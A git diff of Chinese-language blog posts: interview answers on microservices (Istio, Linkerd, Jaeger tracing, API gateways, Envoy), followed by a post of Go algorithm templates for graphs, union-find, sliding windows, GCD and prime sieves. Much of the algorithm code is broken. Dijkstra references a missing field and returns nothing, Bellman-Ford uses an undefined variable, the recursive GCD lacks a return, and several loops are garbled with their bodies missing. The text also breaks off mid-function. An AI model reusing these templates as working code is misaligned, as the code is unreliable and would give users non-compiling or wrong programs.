在我的微服务架构中,我使用多种策略来保证安全。首先,我使用TLS来加密服务间的通信。然后,我使用API网关来进行身份验证和授权,只有经过验证和授权的请求才能访问我的服务。此外,我还使用网络策略来限制服务间的通信,只允许必要的通信。我也定期进行安全审计和漏洞扫描,以及及时更新我的服务和基础设施来修复已知的安全漏洞。 + + +**问题18: 能解释一下Istio的工作原理吗,以及它如何帮助管理微服务?** + +理想答案: Istio是一个开源的服务网格,它提供了一种统一的方式来连接、保护、控制和观察服务。Istio的核心是一个智能代理层,也就是Envoy代理,它被部署为sidecar,与微服务一起运行。这些代理可以拦截微服务之间的所有网络通信,并通过一系列的Istio控制平面组件进行管理和配置。 + +Istio的服务网格可以帮助我们实现微服务的流量管理、安全、策略执行和遥测收集。例如,我们可以使用Istio来实现金丝雀部署、蓝绿部署、流量镜像等高级流量路由策略。我们也可以使用Istio来实现服务间的mTLS加密、身份验证和授权。此外,Istio还可以收集微服务的详细遥测信息,帮助我们监控和观察微服务的行为。 + +**问题19: 能解释一下Linkerd的工作原理吗,以及它如何帮助管理微服务?** + +理想答案: Linkerd是一个轻量级的服务网格,它提供了服务发现、负载均衡、故障恢复、路由、安全、可观察性等功能。Linkerd的核心是一个代理,这个代理被部署为sidecar,与微服务一起运行。这些代理可以拦截微服务之间的所有网络通信,并通过Linkerd的控制平面进行管理和配置。 + +Linkerd的服务网格可以帮助我们实现微服务的流量管理、安全、策略执行和遥测收集。例如,我们可以使用Linkerd来实现请求级别的负载均衡和自动重试,这可以提高我们的微服务的可用性和响应性。我们也可以使用Linkerd来实现服务间的mTLS加密,这可以提高我们的微服务的安全性。此外,Linkerd还可以收集微服务的详细遥测信息,帮助我们监控和观察微服务的行为。 + +在业务中使用Linkerd的步骤大致如下: + +> 1-安装Linkerd:首先,需要在的Kubernetes集群中安装Linkerd。这可以通过下载Linkerd的CLI工具,并运行linkerd install命令来完成。 + +> 2-注入Linkerd代理:然后,需要将Linkerd的代理注入到的微服务中。这可以通过在的Kubernetes部署配置文件中添加linkerd.io/inject: enabled注解,或者使用linkerd inject命令来完成。 + +> 3-部署的微服务:现在,可以部署的微服务了。当的微服务启动时,Linkerd的代理也会作为sidecar一起启动。这个代理会自动拦截的微服务的所有入站和出站网络通信。 + +> 4-配置的服务:可以使用Linkerd的控制平面来配置的服务。例如,可以设置路由规则、负载均衡策略、故障恢复策略等。 + +> 5-观察的服务:最后,可以使用Linkerd的控制平面来观察的服务。Linkerd提供了丰富的指标和可视化工具,可以帮助监控的服务的性能和健康状况。 + +如何在Kubernetes部署配置文件中注入Linkerd代理: +```yaml +apiVersion: apps/v1 +kind: Deployment +metadata: + name: my-app + annotations: + linkerd.io/inject: enabled # 注入Linkerd代理 +spec: + replicas: 3 + selector: + matchLabels: + app: my-app + template: + metadata: + labels: + app: my-app + spec: + containers: + - name: my-app + image: my-app:1.0.0 + ports: + - containerPort: 8080 + +``` +部署配置文件的元数据中添加了linkerd.io/inject: enabled注解,这会告诉Linkerd在这个部署中注入它的代理。然后,当我们部署这个配置文件时,Linkerd的代理就会自动作为sidecar一起启动。 + +Linkerd是如何作为Sidecar 提供丰富的指标和可视化工具来帮助监控服务的性能和健康状况的? + +> Linkerd作为Sidecar运行时,会自动拦截微服务的所有入站和出站网络通信。这使得Linkerd能够收集到大量的关于服务性能和健康状况的指标,包括请求的延迟、成功率、吞吐量等。 + +> 这些指标被Linkerd的代理收集并发送到Linkerd的控制平面。控制平面包含一个Prometheus实例,用于存储这些指标,以及一个Grafana实例,用于可视化这些指标。 + +> 通过Linkerd的Web界面或CLI工具来访问这些指标和可视化工具。例如,可以运行linkerd dashboard命令来打开Linkerd的Web界面,在那里可以看到的服务的实时性能和健康状况,以及各种有用的图表和报告。 + +> 此外,Linkerd还提供了一个名为Tap的功能,它可以让实时观察到服务之间的实际网络请求。这对于调试和理解服务的行为非常有用。 + +> 总的来说,Linkerd通过自动收集和可视化服务的指标,为提供了强大的观察能力,使能够更好地理解和管理的服务. + +具体说说Linkerd是如何实现请求级别的负载均衡和自动重试以及如何实现实现服务间的mTLS加密的? + +> Linkerd的代理在每个请求级别上都进行负载均衡,而不是在连接级别。这意味着对于每个请求,Linkerd都会选择一个最佳的目标Pod来处理该请求,这个选择是基于实时的延迟观测结果。这种方式比传统的连接级别负载均衡更有效,因为它能更好地处理不均匀的请求处理时间和瞬时的Pod级别故障。 + +> 自动重试是Linkerd的另一个重要特性。当Linkerd检测到一个请求失败(例如,由于网络中断或服务暂时不可用)时,它会自动重试该请求。这可以提高微服务的可用性和响应性。需要注意的是,自动重试需要谨慎使用,因为不恰当的使用可能会导致重复的请求和增加的延迟。 + +> Linkerd使用mTLS(双向TLS)来保护服务间的通信。在mTLS中,客户端和服务器都需要提供证书来验证对方的身份。这不仅可以防止中间人攻击,还可以确保只有经过验证的客户端和服务器才能进行通信。 + +> Linkerd的控制平面负责为每个代理生成和分发证书。当一个代理启动时,它会向控制平面请求一个证书。控制平面会生成一个新的证书,然后将其发送给代理。这个证书包含了代理的身份信息,例如它所属的服务和命名空间。 + +> 当两个代理进行通信时,它们会互相验证对方的证书。如果证书验证失败,那么通信就会被拒绝。这样,我们就可以确保我们的微服务的通信是安全的。 + + +**问题20: 能解释一下Istio和Linkerd在功能和性能上的主要区别吗?** + +理想答案: Istio和Linkerd都是服务网格,它们提供了类似的功能,如服务发现、负载均衡、故障恢复、路由、安全、可观察性等。然而,它们在设计哲学、易用性、性能和社区支持等方面有一些不同。 + +在设计哲学上,Istio更注重提供丰富的功能和灵活性,它提供了一系列的API和配置选项,可以让用户对服务网格的行为进行细粒度的控制。而Linkerd更注重简单和易用性,它的设计目标是让用户可以尽快地在生产环境中使用服务网格。 + +在性能上,由于Linkerd的设计更简洁,它的性能通常比Istio更好。Linkerd的代理使用Rust编写,这使得它可以在提供高性能的同时,保持低的资源消耗。而Istio的代理使用C++编写,虽然它也提供了很高的性能,但它的资源消耗通常比Linkerd的代理更高。 + +在社区支持上,Istio由Google、IBM和Lyft等公司支持,它有一个非常活跃的社区和大量的用户。而Linkerd由Buoyant公司支持,它的社区相对较小,但也非常活跃。 + +总的来说,Istio和Linkerd都是优秀的服务网格,它们各有优势。 + +Linkerd的处理过程: +客户端向Service1发送请求,这个请求首先被Linkerd Proxy 1拦截。 +Linkerd Proxy 1将请求转发给Service1,然后将Service1的响应返回给客户端。 +客户端再次向Service2发送请求,这个请求同样被Linkerd Proxy 1拦截。 +Linkerd Proxy 1将请求转发给Linkerd Proxy 2,Linkerd Proxy 2再将请求转发给Service2。 +Service2将响应返回给Linkerd Proxy 2,Linkerd Proxy 2将响应转发给Linkerd Proxy 1,最后Linkerd Proxy 1将响应返回给客户端。 + +**问题21: 能解释一下如何在微服务架构中实现分布式追踪吗?** + +理想答案: 在微服务架构中,一个请求可能需要经过多个服务才能完成,这使得调试和性能优化变得复杂。为了解决这个问题,我使用了分布式追踪技术,如Jaeger或Zipkin。 + +分布式追踪通过在请求头中添加一个唯一的追踪ID,然后每个服务在处理请求时都会记录这个ID,以及请求的开始时间和结束时间。这样,我们就可以将一个请求在各个服务中的路径和时间都追踪出来。 + +> 客户端向Service1发送一个带有TraceID的请求,然后Service1将这个请求连同TraceID一起转发给Service2,Service2再将请求连同TraceID转发给Service3。当Service3处理完请求后,它会将响应连同TraceID一起返回给Service2,然后Service2再将响应连同TraceID返回给Service1,最后Service1将响应连同TraceID返回给客户端。 + +> 这样,我们就可以通过TraceID来追踪一个请求在各个服务中的路径和时间 + +```go +package main + +import ( + "context" + "log" + "os" + + "go.opentelemetry.io/otel" + "go.opentelemetry.io/otel/exporters/trace/jaeger" + sdktrace "go.opentelemetry.io/otel/sdk/trace" +) + +func main() { + // 设置Jaeger作为追踪导出器 + exporter, err := jaeger.NewRawExporter( + jaeger.WithCollectorEndpoint("http://localhost:14268/api/traces"), + jaeger.WithProcess(jaeger.Process{ + ServiceName: "your-service-name", + }), + ) + if err != nil { + log.Fatal(err) + } + + // 设置追踪提供器 + tp := sdktrace.NewTracerProvider( + sdktrace.WithSampler(sdktrace.AlwaysSample()), + sdktrace.WithSyncer(exporter), + ) + otel.SetTracerProvider(tp) + + // 创建一个新的追踪 + tracer := otel.Tracer("my-app") + ctx, span := tracer.Start(context.Background(), "my-operation") + defer span.End() + + // 在这里执行的操作 + doSomething(ctx) + + // 确保所有的追踪都被导出 + if err := tp.Shutdown(ctx); err != nil { + log.Fatal(err) + } +} + +func doSomething(ctx context.Context) { + // 从上下文中获取追踪 + tracer := otel.Tracer("my-app") + + // 创建一个新的子追踪 + _, span := tracer.Start(ctx, "my-sub-operation") + defer span.End() + + // 在这里执行的操作 +} +``` +首先设置Jaeger作为追踪导出器,然后设置追踪提供器。在执行操作时,我们创建一个新的追踪,并从上下文中获取追踪。我们还可以创建子追踪来追踪子操作。最后,我们确保所有的追踪都被导出。 + +**问题22: 有没有使用过服务网格以外的其他微服务管理工具,如Spring Cloud或Netflix OSS?** + +理想答案: 是的,我使用过Spring Cloud和Netflix OSS。这些工具提供了服务发现、配置管理、路由和负载均衡、断路器、全局锁、领导选举、分布式会话和集群状态等功能。虽然它们和服务网格有一些功能上的重叠,但它们更注重于在特定的编程语言和框架中提供微服务支持,而服务网格则是语言无关的。 + +**问题23: 在微服务架构中,是如何处理数据的同步和异步通信的?** + +理想答案: 在我的微服务架构中,我使用HTTP/REST或gRPC进行同步通信,这主要用于前端请求或者服务间的直接调用。对于需要异步处理的场景,我使用消息队列,如RabbitMQ或Kafka,来实现服务间的解耦和异步通信。我也使用事件驱动的架构,其中一个服务的状态改变会触发事件,其他服务可以监听这些事件并更新自己的状态。 + +**问题24: 有没有使用过开源的API网关,如Kong或者Ambassador?** + +理想答案: 是的,我使用过Kong和Ambassador。这些API网关提供了路由、负载均衡、身份验证和授权、限流和配额、IP过滤、日志和监控等功能。我使用API网关来管理我的微服务的公共入口,这可以减少微服务的复杂性,提高安全性,以及提供更好的可观察性。 + + +**问题25:请解释什么是服务网格,以及它在微服务架构中的作用是什么?** + +答案:服务网格是一种基础设施层,用于处理服务到服务之间的通信。在微服务架构中,服务网格主要负责确保网络通信的可靠性、安全性、可观察性和速度。它可以帮助开发人员抽象出网络通信的复杂性,让他们可以专注于开发业务逻辑。 + +**问题26:请解释什么是容器编排,以及Kubernetes如何实现容器编排?** + +答案:容器编排是管理容器的生命周期和交互的过程。Kubernetes是一种容器编排工具,它可以自动化部署、扩展和管理容器化应用程序。Kubernetes通过提供声明式配置、服务发现、负载均衡、自动恢复、滚动更新等功能来实现容器编排。 + +**问题27:请解释什么是API网关,以及它在微服务架构中的作用是什么?** + +答案:API网关是微服务架构中的一个组件,它是所有客户端和微服务之间的接口。API网关的主要作用是路由请求、聚合数据、实现认证和授权、限制流量、缓存响应等。它可以帮助我们将复杂的微服务架构抽象为单一的、统一的API接口。 + + +**问题28:请解释什么是分布式追踪,以及它在微服务架构中的作用是什么?** + +答案:分布式追踪是一种监控和调试微服务应用的技术,它可以帮助我们追踪一个请求在微服务架构中的完整路径。在微服务架构中,分布式追踪可以帮助我们理解系统的行为、找出性能瓶颈、调试错误等。 + + +**问题29:请解释什么是服务发现,以及它在微服务架构中的作用是什么?** + +服务发现是微服务架构中的一个关键组件,它允许微服务自动发现和交互其他服务。在微服务架构中,服务发现可以帮助我们动态地管理和配置微服务,而不需要硬编码服务的位置信息。 + + +**问题30:请解释什么是断路器模式,以及它在微服务架构中的作用是什么?** + +答案:断路器模式是一种软件设计模式,它可以防止一个应用程序连续调用失败的服务,从而防止系统的进一步崩溃。在微服务架构中,断路器模式可以帮助我们提高系统的弹性和可用性。 + +**问题31:请解释什么是Istio,以及它在微服务架构中的作用是什么?** + +答案:Istio是一个开源的服务网格,它提供了一种简单的方式来管理和观察微服务。在微服务架构中,Istio可以帮助我们实现服务发现、负载均衡、故障恢复、指标收集、访问控制等功能。 + +**问题32:请解释什么是Docker,以及它在微服务架构中的作用是什么?** + +答案:Docker是一个开源的容器化平台,它可以让我们将应用程序和它们的依赖打包成一个轻量级、可移植的容器,然后我们可以在任何支持Docker的机器上运行这个容器。在微服务架构中,Docker可以帮助我们实现服务的隔离、部署和扩展。 + +**问题33:请解释什么是Prometheus,以及它在微服务架构中的作用是什么?** + +答案:Prometheus是一个开源的监控和警告工具,它可以收集和存储大量的指标数据,然后我们可以通过Prometheus的查询语言来查询这些数据。在微服务架构中,Prometheus可以帮助我们监控服务的性能和健康状况。 + +**问题34:请解释什么是Envoy,以及它在微服务架构中的作用是什么?** + +答案:Envoy是一个开源的边缘和服务代理,它是为微服务架构设计的。在微服务架构中,Envoy可以帮助我们实现服务发现、负载均衡、路由、熔断、指标收集等功能。 + +Envoy如何作为sidecar代理,拦截并管理微服务之间的所有通信: + +> 客户端向Service1发送请求,这个请求首先被Envoy Proxy 1拦截。 +> Envoy Proxy 1将请求转发给Service1,然后将Service1的响应返回给客户端。 +> 客户端再次向Service2发送请求,这个请求同样被Envoy Proxy 1拦截。 +> Envoy Proxy 1将请求转发给Envoy Proxy 2,Envoy Proxy 2再将请求转发给Service2。 +> Service2将响应返回给Envoy Proxy 2,Envoy Proxy 2将响应转发给Envoy Proxy 1,最后Envoy Proxy 1将响应返回给客户端。 + + +在业务中,Envoy可以通过以下方式来实现不同功能: + +服务发现:Envoy可以与服务发现工具集成,例如Consul或etcd,从而动态地发现和管理微服务实例。Envoy会自动更新服务的地址和状态,并将请求路由到可用的实例。 + +负载均衡:Envoy使用负载均衡算法来分配请求到后端的多个服务实例。它可以基于不同的策略进行负载均衡,如轮询、加权轮询、随机等。 + +路由:Envoy可以根据请求的特征,如URL路径、头部信息等,将请求路由到不同的服务实例。它支持灵活的路由规则配置,可以实现复杂的路由策略。 + +熔断:Envoy可以实现熔断机制,通过监控服务的错误率和延迟来动态地切断对出现问题的服务实例的请求。这有助于保护系统免受服务故障的影响,提高系统的稳定性和可靠性。 + +指标收集:Envoy可以收集各种指标,如请求次数、成功率、延迟等,并将其发送到监控系统中,如Prometheus。这样可以帮助我们监控和分析微服务的性能和健康状况。 diff --git a/_posts/2023-9-13-test-markdown.md b/_posts/2023-9-13-test-markdown.md new file mode 100644 index 000000000000..285bb6a09d23 --- /dev/null +++ b/_posts/2023-9-13-test-markdown.md @@ -0,0 +1,2138 @@ +--- +layout: post +title: Part2-数据结构和算法(模版篇) +subtitle: +tags: [数据结构和算法] +comments: true +--- + +### Dijkstra 模版 + +```go +type Item struct{ + // 节点编号 + value int + priority int +} + +type PriorityQueue []*Item + +func (pq PriorityQueue) Len() int { + return len(pq) +} + +func (pq PriorityQueue) Less(i, j int) bool { + return pq[i].priority < pq[j].priority +} + +func (pq PriorityQueue) Swap(i, j int) { + pq[i], pq[j] = pq[j], pq[i] +} + +func (pq *PriorityQueue) Push(x interface{}) { + item := x.(*Item) + *pq = append(*pq, item) +} + +func (pq *PriorityQueue) Pop() interface{} { + old := *pq + n := len(old) + item := old[n-1] + *pq = old[0 : n-1] + return item +} + +func dijkstra(graph map[int] map[int]int , start int) map[int]int{ + minDis:= map[int]int{} + for k,v := range graph{ + // 节点k + // 把起点到每个节点的距离设置为-1 + minDis[k]=1<<31 + } + minDis[start]=0 + // 起点入队列 + pq := PriorityQueue{} + heap.Push(&pq, &Item{start, 0}) + for len(pq)>0{ + cur:= heap.Pop(&pq).(*Item) + if cur.priority != minDis[cur.id]{ + continue + } + for n,priority := range graph[cur.value]{ + // 计算弹出节点到每个节点的距离 + newPriority := cur.priority + priority + if newPriority < minDis[n]{ + minDis[n]=newPriority + heap.Push(&pq, &Item{n, newPriority}) + } + + } + + } +} +``` + +变种优化版本 +```go +func canReach(s string, minJump int, maxJump int) bool { + n := len(s) + if s[n-1] != '0' { + return false + } + queue := []int{0} + farthest := 0 + for len(queue) > 0 { + cur := queue[0] + queue = queue[1:] + start := max(cur+minJump, farthest+1) + end := min(cur+maxJump, n-1) + for i := start; i <= end; i++ { + if s[i] == '0' { + if i == n-1 { + return true + } + queue = append(queue, i) + } + } + farthest = end + } + return false +} + +func min(a, b int) int { + if a < b { + return a + } + return b +} + +func max(a, b int) int { + if a > b { + return a + } + return b +} +``` + +### BellmanFord模版 + +```go + +// 把图转化为(起点,终点,权重) +// n 是节点数 +// start是起点 +// 返回一个起点代表起点到每个点的最短距离 +type Edge struct{ + from int + to int + weight int +} + +func bellmanFord(edge []Edge,n int,start int)[]int{ + const inf = math.MaxInt32 + minDis := make([]int,n) + for k,v := range minDis{ + minDis[i]=inf + } + minDis[start] = 0 + // 遍历 + // 寻找每个节点到起点位置的最小距离 + for i:=0;i dist[e.from]+e.weight 的情况下,将 dist[e.to] 赋值为负无穷,标记该节点已经松弛过,并且松弛次数超过了所有节点数量。在此之后,如果某个节点的 dist[] 值变成了负无穷,则说明图中存在从起点可达的负权环,算法会立即停止并返回错误信息。 + if minDis[e.from] + e.weight < minDis[e.to]{ + minDis[e.to] = -inf + } + } + } + +} +``` + +### FloydWarshall + +```go +func FloydWarshall(graph [][]int) [][]int{ + minDis:= make([][]int,len(graph)) + for i := range dist { + minDis = make([]int, n) + copy(minDis, graph[i]) + } + for k:=0;k 加权无向连通图中找到一棵边权值之和最小的生成树,Kruskal算法基于贪心的思想,从小到大依次考虑边的权值. + +```go +type Edge struct{ + from int + to int + weight int +} + +func Kruskal (n int,edges []Edge) []Edge{ + //边要按照从小到大排序 + sort.Slice(edges ,func (i int,j int)bool{ + return edges[i].weight < edges[j].weight + }) + // 初始化并集 + // unionSet[son] = father + unionSet:= make(map [int]int,n) + for i:=0;i 0 { + e := heap.Pop(h).(*edge) + if visited[e.vertex2] { + continue + } + + weight += e.weight + visited[e.vertex2] = true + for i := 0; i < n; i++ { + if !visited[i] { + heap.Push(h, &edge{e.vertex2, i, graph[e.vertex2][i]}) + } + } + } + + return weight +} + +type edge struct { + vertex1 int + vertex2 int + weight int +} + +type edgeHeap []*edge + +func (h edgeHeap)Len() int { return len(h) } +func (h edgeHeap) Less(i, j int) bool { return h[i].weight < h[j].weight } +func (h edgeHeap) Swap(i, j int) { h[i], h[j] = h[j], h[i] } + +func (h *edgeHeap) Push(x interface{}) { + *h = append(*h, x.(*edge)) +} + +func (h *edgeHeap) Pop() interface{} { + old := *h + n := len(old) + x := old[n-1] + *h = old[0 : n-1] + return x +} +``` + +### 拓扑排序 + +```go +func BFS() bool{ + queue:= []int{} + for k,v := range nodeInDegree{ + if v==0{ + queue = append(queue,k) + } + } + + for len(queue)>0{ + size:= len(queue) + for i:=0;i 2->3 + // ^---| + for _,v:= range visited{ + if !v{ + return false + } + } + return true +} +``` + +### 回溯 + +```go +func DFS(i int,j int){ + visited[i][j]=true + // defer func() { visited[i][j] = false }() 的作用是在当前函数返回之前执行这段代码,无论函数是正常返回还是异常返回。这保证了在 DFS 函数返回时,visited 标记一定会被重置为 false,避免了在递归回溯过程中出现 visited 标记不正确的问题。 + defer func(){visited[i][j]=false} + // 做一些事情判断该状态是否符合要求 + DoSomeThing() + for (可以到达的状态){ + if visited[x][y]==false && Array[x][y]== Target[x][y]{ + DFS(x,y) + } + } + // 撤销做的 + Undo() + +} +``` + +### 组合问题的模版 + +```go +var res [][]int +var Nums []int +func subsets(nums []int) [][]int { + res= [][]int{} + Nums = nums + choose(0,[]int{}) + return res +} + +func choose(start int, path []int){ + if start > len(Nums){ + return + } + temp:= make([]int,len(path)) + copy(temp,path) + res = append(res,temp) + for i:=start;ilength{ + sum = sum-nums[ left] + left++ + } + if right-left+1==length{ + res= max(res,sum) + sum= sum-nums[left] + left++ + } + + } + return res +} +``` + +### 变长滑动窗口 + +```go +var res int +func SlidingWindow(nums []int,target int)int{ + left:=0 + sum:=0 + res:=0 + for right:=0;right target{ + sum=sum-nums[left] + left++ + } + res= max(res,right-left+1) + } + return res +} +``` + +### 滑动窗口变种-K个不同整数的子数组+差分 + +```go +func Problem(nums []int,k int)int{ + return SlidingWindow(nums,k) - SlidingWindow(nums,k-1) +} + +// 维护最多k种元素的窗口 +func SlidingWindow(nums []int,k int)int{ + left:=0 + window:= map[int]int{} + for right:=0;rightk{ + if _,ok:= window[nums[left]] ;ok && window[nums[left]]>0{ + window[nums[left]]-- + } + if _,ok:= window[nums[left]] ;ok && window[nums[left]]== 0{ + delete(window,nums[left]) + } + left++ + } + count= count+right-left+1 + } + return count +} +``` + + +### 动规 + +>1.定义状态 +>2.状态转移方程 +>3.初始化状态 +>4.遍历计算。 + +#### 斐波那契数列型问题 + +> 爬楼梯以及打家劫社问题,需要找出递推式进行状态转移,使用两个变量记录前两项的值,循环迭代计算。 + + +#### 背包型问题 +> 背包问题,零钱兑换,设计状态数组,记录对应状态下的最优解或者可行方案。根据状态转移进行计算。 + +#### 区间型问题 +> 最长回文子串,编辑距离等问题,涉及区间的求解,设计状态数组记录区间信息,根据状态转移进行计算。 + +#### 矩阵型问题 +> 矩阵路径、不同路径等问题。这类问题需要设计状态数组来记录矩阵信息,通常采用二维数组表示,再根据状态转移方程进行计算。 + + +### 贪心 + +> 1.每次选择局部最优解 + +利用该策略求解的问题: + +435. 无重叠区间 Non-overlapping Intervals +452. 用最少数量的箭引爆气球 Minimum Number of Arrows to Burst Balloons +605. 种花问题 Can Place Flowers +122. 买卖股票的最佳时机 II Best Time to Buy and Sell Stock II + + + +> 2.大问题转化为小问题 +> 3.问题转化为数学公式,根据书写技巧解决 +> 4.对数据进行排序或者预处理 + + +### 小岛问题 + +上下左右 +```go +func DFS(i int , j int){ + if i <0 || i>m || j<0 || j>n{ + return + } + // 标记被访问 + visited[i][j]=true + + DFS(i+1,j) + DFS(i-1,j) + DFS(i,j+1) + DFS(i,j-1) +} +``` +单点搜索 + +```go +DFS(0,0) +``` +多点搜索 +```go +func DFS(i int , j int){ + for i:=0;i 并查集使用的是一种树型的数据结构,用于处理一些不交集 (Disjoint Sets)的合并及查询问题。比如让求两个人是否间接认识,两个地点之间是否有至少一条路径。上面的例子其实都可以抽象为联通性问题。即如果两个点联通,那么这两个点就有至少一条路径能够将其连接起来。 +> 值得注意的是,并查集只能回答"联通与否”,而不能回答诸如“具体的联通路径是什么”。如果要回答“具体的联通路径是什么”这个问题,则需要借助其他算法,比如广度优先遍历。并查集 (Union-find Algorithm)定义了两个用于此数据结构的操作:Find:确定元素属于哪一个子集。它可以被用来确定两个元素是否属于同一子集。Union:将两个子集合并成同一个集合。 + + +查:代码上我们可以用 `parent[x]=y`表示`x的parent` 是y,通过不断沿着搜索 parent 搜索找到root,然后比较root 是否相同即可得出结论。这里的root 实际上就是上文提到的集合代表。 +这个不断往上找的操作,我们一般称为find, 使用集合代表我们可以很容易地求出两个节点是否连通。 + +> 为了更加精确的定义这些方法,需要定义如何表示集合。一种常用的策略是为每个集合选定一个固定的元素,称为代表,以表示整个集合。接着,Find(x) 返回x 所属集合的代表,而 Union 使用两个集合的代表作为参数进行合并。 + +> 合并操作可以理解为将这些元素归并到同一个集合中。 +```go +// Find(a) 返回a所属集合的代表 +func Find(a int)int{ + for parent[a]!=a{ + a = parent[a] + } + return a +} +``` +> 没有使用路径压缩和按秩合并的优化方式 +```go +// Find(a) 返回a所属集合的代表 +func Find(a int)int{ + if a == parent[a]{ + return a + } + return Find(parent[a]) +} +``` +> 使用了路径压缩和按秩合并的优化方式 +```go +// Find(a) 返回a所属集合的代表 + +func Find(a int)int{ + if a == parent[a]{ + return a + } + parent[a] = Find(parent[a]) + return parent[a] +} +``` + + + +合:我们将其合并为一个联通域,最简单的方式就是直接将其中一个集合代表作为指向另外一个父即可: + +```go +func connected(a int , b int) bool{ + return find(a) == find(b) +} +``` + +```go +func Union(a int b int){ + if connected (a,b)== true{ + return + } + parent[find(a)] = find(b) +} +``` +### 普通查并集(使用路径压缩) + +```go +// 完整代码 +var parent []int + +// 初始化并查集 +func Init(n int) { + parent = make([]int, n) + for i := 0; i < n; i++ { + parent[i] = i + } +} + +// 查找元素所属的集合代表 +// 这里使用了路径压缩 +func Find(a int) int { + if a != parent[a] { + parent[a] = Find(parent[a]) + } + return parent[a] +} + +// 合并两个集合 +func Union(a, b int) { + leaderA := Find(a) + leaderB := Find(b) + parent[leaderA] = leaderB +} + +// 判断两个元素是否在同一集合中 +func Connected(a, b int) bool { + return Find(a) == Find(b) +} + +``` + +### 普通查并集(未使用路径压缩) + + +```go +// 完整代码 +var parent []int + +// 初始化并查集 +func Init(n int) { + parent = make([]int, n) + for i := 0; i < n; i++ { + parent[i] = i + } +} + +// 查找元素所属的集合代表 +// 这里使用了路径压缩 +func Find(a int) int { + if a == parent[a] { + return a + } + return Find(parent[a]) +} + +// 合并两个集合 +func Union(a, b int) { + leaderA := Find(a) + leaderB := Find(b) + parent[leaderA] = leaderB +} + +// 判断两个元素是否在同一集合中 +func Connected(a, b int) bool { + return Find(a) == Find(b) +} +``` + +### 带权查并集(使用路径压缩) + +```go +var parent []int +var weight []int + +// 初始化带权并查集 +func Init(n int) { + parent = make([]int, n) + weight = make([]int, n) + for i := 0; i < n; i++ { + parent[i] = i + weight[i] = 0 + } +} + +// 查找元素所属的集合代表 +func Find(a int) int { + if a != parent[a] { + parent[a] := Find(parent[a]) + // weight[a] += weight[parent[a]] 其实是将元素 a 所在集合的代表元素的权值加到元素 a 的权值上 + weight[a] += weight[parent[a]] + } + return parent[a] +} + +func Union(a int,b int,w int){ + p1:=Find(a) + p2:=Find(b) + if p1!=p2{ + parent[p1]= p2 + weight[p1] = weight[b] - weight[a] +w + } +}// 判断两个元素是否在同一集合中 + +func Connected(a, b int) bool { + return Find(a) == Find(b) +} +``` + +### 带权查并集(未使用路径压缩) + + + +## 数学知识 + + +### 最大公约数 + +- 辗转相除法(递归) +> 计算出a处以b的余数,然后a更新为b,b更新为a%b + +```go +// 被除数 / 除数s +func GCD(a int b int)int{ + if a%b ==0{ + return b + } + GCD(b,a%b) +} +``` + +- 辗转相除法(迭代) + +```go +// 被除数 / 除数s +func GCD(a int b int)int{ + for b!=0{ + a,b=b,a%b + } + return a +} +``` + +- 更相减损术 + +> a-b的差值,与a b 中间更小的一个,直到ab的值相等。 + +```go +func GCD(a int, b int)int{ + if a==b{ + return a + } + if a 最大公约数的场景就是切割MXN得到最大的正方形 + +### 最大公约数-(字符串变种) + +```go +func gcdOfStrings(str1 string, str2 string) string { + if len(str1) < len(str2) { + str1, str2 = str2, str1 + } + for len(str2) > 0 { + if !strings.HasPrefix(str1, str2) { + return "" + } + // 不断的缩短str1 + // a=a%b + str1 = str1[len(str2):] + if len(str1) < len(str2) { + str1, str2 = str2, str1 + } + } + return str1 +} +``` + +### 互为质判断 + +>「最大公约数」就是 a 和 b 的所有公约数中最大的那个,通常记为图片。由于这样我们可以得到「互质」的判定条件,如果自然数a,b互质,则图片。 + +```go +func Each(a int , b int) bool{ + return GCD(a,b)==1 +} + +func GCD(a int, b int)int{ + if a==b{ + return a + } + if a0{ + if (b&1)==1{ + res = res * base + } + base = base * base + b=b>>1 + } + return res +} +``` + +### 位运算-基础版 + +```go +func singleNumber(nums []int) int { + single:=0 + for i:=0;i>= 1 + } + return uint32(result) +} +``` + +### 位运算-变种(`dp[i] = dp[i&(i-1)] + 1`) + +```go +// 使用公式计算一个数的二进制表示中1的个数,可以解决很多与位操作相关的问题,例如寻找一个数的奇偶性(即是否有奇数或偶数个1) . +func countBits(n int) []int { + dp := make([]int, n+1) + for i := 1; i <= n; i++ { + // i & (i - 1) 表示将 i 的最后一个 1 变为 0 + dp[i] = dp[i&(i-1)] + 1 + } + return dp +} +``` + +应用场景1: + +```text +dp[i] = dp[i & (i-1)] + 1很多 +计算一个数的二进制表示中 1 的个数 +``` + +应用场景2: + +```text +位向量(Bit Vector)是一种数据结构,用来表示一个由 0 和 1 组成的序列。它通常用于高效地存储和操作一组布尔值,例如用于表示某些元素是否在一个集合中存在。 + +位向量可以使用一个比特位串来表示。每个比特位表示一个布尔值,例如 0 或 1。因此,位向量的长度通常是固定的,它由存储的布尔值总数决定。比特位串中的每个比特位可以使用位运算来进行快速的访问和修改,因此位向量十分高效。 + +例如,假设我们需要表示一个由 4 个元素组成的集合 {2, 3, 5, 7},其中每个元素是一个小于 10 的正整数。我们可以使用一个长度为 10 的位向量来表示该集合,其中第 i 个比特位表示元素 i 是否在集合中存在。因此,该位向量的前 10 个比特位应该为: + +0 1 1 0 0 1 0 1 0 0 +这表示元素 2、3、5 和 7 在集合中存在,而元素 0、1、4、6、8 和 9 不在集合中存在。 + +位向量可以用于许多算法和数据结构中,例如 Bloom 过滤器、压缩算法和文本搜索算法等。 +``` + +### 质数筛选 + +> 经典的「Eratosthenes 筛法」,也被称为「埃式筛」。该算法基于一个基本判断:任意数 x 的倍数(2x,3x, …)均不是质数。 +> 1-将 2~N 中所有数字标记为 0 +> 2-从质数 2 开始从小到大遍历 2~N 中所有自然数 +> 3-如果遍历到一个标记为 0 的数 x,则将其 2~N 中 x 的所有倍数标记为 1 +> 埃氏筛法(埃拉托色尼筛法,Sieve of Eratosthenes) +> 这个算法的步骤如下: +> 1-将 2 到 N 的所有整数写下来,然后从最小的数开始,筛掉它的倍数,直到不能再被筛掉。 +> 2-对于剩下的数,它们就是质数。 +> 3-具体来说,我们可以用一个数组来记录每个数是否被筛掉。初始时,我们将所有数都标记为未筛掉。然后,我们从 2 开始,将每个未筛掉的数的所有倍数都标记为已筛掉。最后,所有未筛掉的数即为质数 + +```go +func getPrime(n int)[]int{ + isFilter:= make([]bool,n+1) + for i:=2;i<=n;i++{ + if isFilter[i] ==0{ + for j:=i*i;j<=n;j=j+i{ + isFilter[j] = true + } + } + } + res := []int{} + for i:=2;i<=n;i++{ + if isFilter[i]==false{ + res = append(res,i) + } + } + return res +} +``` +### 值因数分解 + +## 图论 + +```go +type Graph map[string]map[string]float64 + +func calcEquation(equations [][]string, values []float64, 